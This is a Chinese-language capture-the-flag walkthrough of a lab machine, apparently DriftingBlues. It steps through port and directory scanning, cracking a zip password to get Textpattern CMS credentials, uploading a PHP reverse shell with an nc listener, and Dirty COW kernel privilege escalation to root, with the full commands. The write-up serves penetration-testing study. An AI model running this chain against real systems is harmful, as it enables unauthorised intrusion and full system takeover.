getwebshell → 大字典目录扫描.zip
后缀 → 信息泄露获取后台登录权限 → 文件上传漏洞getwebshell
提 权 思 路 → 基础信息收集发现内核版本偏低 → 脏牛提权
192.168.45.171
192.168.244.219
sudo nmap --min-rate 10000 -p- 192.168.244.219
# tcp探测
sudo nmap -sT -sV -O -sC -p80 192.168.244.219
只有一个80端口是突破口
访问 http://192.168.244.219:80 不是一个标准的CMS
# 包括文章中是否写明一些敏感信息
curl http://192.168.244.219:80
通过网站发现有很大的怨念,源码里面发现了一个网站
vvmlist.github.io
(若没思路的话尝试访问)
please hack vvmlist.github.io instead
he and their army always hacking us -->
如果扫描发现301适当考虑 -r 2 进行递归
dirsearch -u http://192.168.244.219:80 -x 302,403
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
[16:39:21] 200 - 52KB - /db
[16:39:30] 200 - 750B - /index
[16:39:30] 200 - 750B - /index.html
[16:39:56] 200 - 110B - /robots.txt
[16:40:06] 200 - 12KB - /textpattern/
db
端点(没思路考虑)是一张图片,推测可能存在隐写,先下载下来吧
wget http://192.168.244.219:80/db
/robots.txt
端点得到了新的目录/textpattern/textpattern
以及提示
说明目录扫描的时候需要添加后缀字典
# -t 指定线程 -x 添加后缀扩展名 (根据网站脚本语言加后缀)
gobuster dir -u http://192.168.244.219:80 -w /usr/share/wordlists/dirb/big.txt -t 10 -x .html,.php,.zip
/textpattern
端点在该端点下没有什么功能点
/textpattern/textpattern
端点发现是一个登录界面,应该是标准的CMS
在登录界面可以尝试弱口令、漏洞攻击(需要知道版本最佳)、爆破等等,乘着在目录扫描后缀的时候试试该端点
/textpattern/textpattern
端点指纹识别whatweb http://192.168.244.219:80/textpattern/textpattern
CMS
是Textpattern
在目前还在扫描的情况下,就先去访问之前放置在一边的url
网络不是很稳定还有丢包 ≧ ﹏ ≦
访问网站发现没什么有用的内容,尝试图片的隐写术测试
总体来说图片隐写术也是需要密码才能解密的,因此希望放回到目录爆破上
扫完之后发现没有.zip
的内容,决定上更大的字典(哭了)
kali
自带的字典如下
# 字典行数 20469(一般字典)
cat /usr/share/wordlists/dirb/big.txt
# 字典行数 220560(大字典)
cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# -t 指定线程 -x 添加后缀扩展名 (根据网站脚本语言加后缀)
gobuster dir -u http://192.168.244.219:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .zip
发现存在/spammer.zip
文件
/spammer.zip
端点访问扫描发现了/spammer.zip
端点后,应该是个文件夹,首先下载
wget http://192.168.244.219/spammer.zip
# 利用zip2john将zip转换
zip2john spammer.zip > password.hash
# 利用john离线破译hash的zip密码
john --wordlist=/usr/share/wordlists/rockyou.txt password.hash
通过爆破得到密码为myspace4
打开我们解密的文件得到了账号密码的信息mayer:lionheart
由于没有SSH
端口,推测是在登录端点登录
提示时间不对,不管直接打勾登录
成功进入后台
通常第一步是要获取对应的版本信息,在左下角发现了版本
Textpattern 4.8.3
利用msf
寻找是否存在通用漏洞
searchsploit textpattern 4.8.3
后发现了代码执行漏洞
cat /usr/share/exploitdb/exploits/php/webapps/49620.py
python /usr/share/exploitdb/exploits/php/webapps/49620.py -t http://192.168.244.219:80/textpattern/textpattern -u mayer -p lionheart
发现运行不了
python /usr/share/exploitdb/exploits/php/webapps/48943.py http://192.168.244.219:80/textpattern mayer lionheart
发现里面有一行报错了
(╯▔皿▔)╯
上面的脚本是运行没发现,下面的脚本是运行出错了,决定手动上传
找到上传点
上传之后不太清楚文件的上传位置,搜了一下网上的利用方式,发现上传位置
清楚了之后我们可以尝试getwebshell
了
kali
里面已经给我们准备好了反弹shell
文件
# 利用cp命令cp一个到当前文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php .
# 开启监听
nc -lvvp 5555
# 换个名字
cp php-reverse-shell.php ./shell11.php
# 修改一下shell的反代地址
vim shell11.php
访问 http://192.168.244.219:80/textpattern/files/shell11.php
成功getwebshell
由于获取的shell交互不友好,利用python获得新的交互shell
$ python -c "import pty;pty.spawn('/bin/bash')";
www-data<span class="label label-primary">@driftingblues</span>:/$
提权的本质在于枚举
# 确定发行版本
cat /etc/lsb-release # Debian based
Debian 7
发行版不太能overlayfs
提权
cat /proc/version
uname -a
看上去内核版本有点老 3.2.0
存在提权漏洞
利用msf
搜索内核版本
searchsploit Linux 3.2.0
发现比较多的是脏牛提权,使用对应文件
使用该脚本会建立一个 firefart 的特权账号 密码自输
# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 81
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.157:81/40839.c
# 给权限
chmod +x 40839.c
# 编译
gcc -pthread 40839.c -o shell -lcrypt
# 给权限
chmod +x shell
# 运行
./shell
利用 su firefart
和密码登录之后可以成功访问root
目录,提权成功
# 本靶场只有一个flag
firefart<span class="label label-primary">@driftingblues</span>:~# cat /root/proof.txt
********************
完结撒花~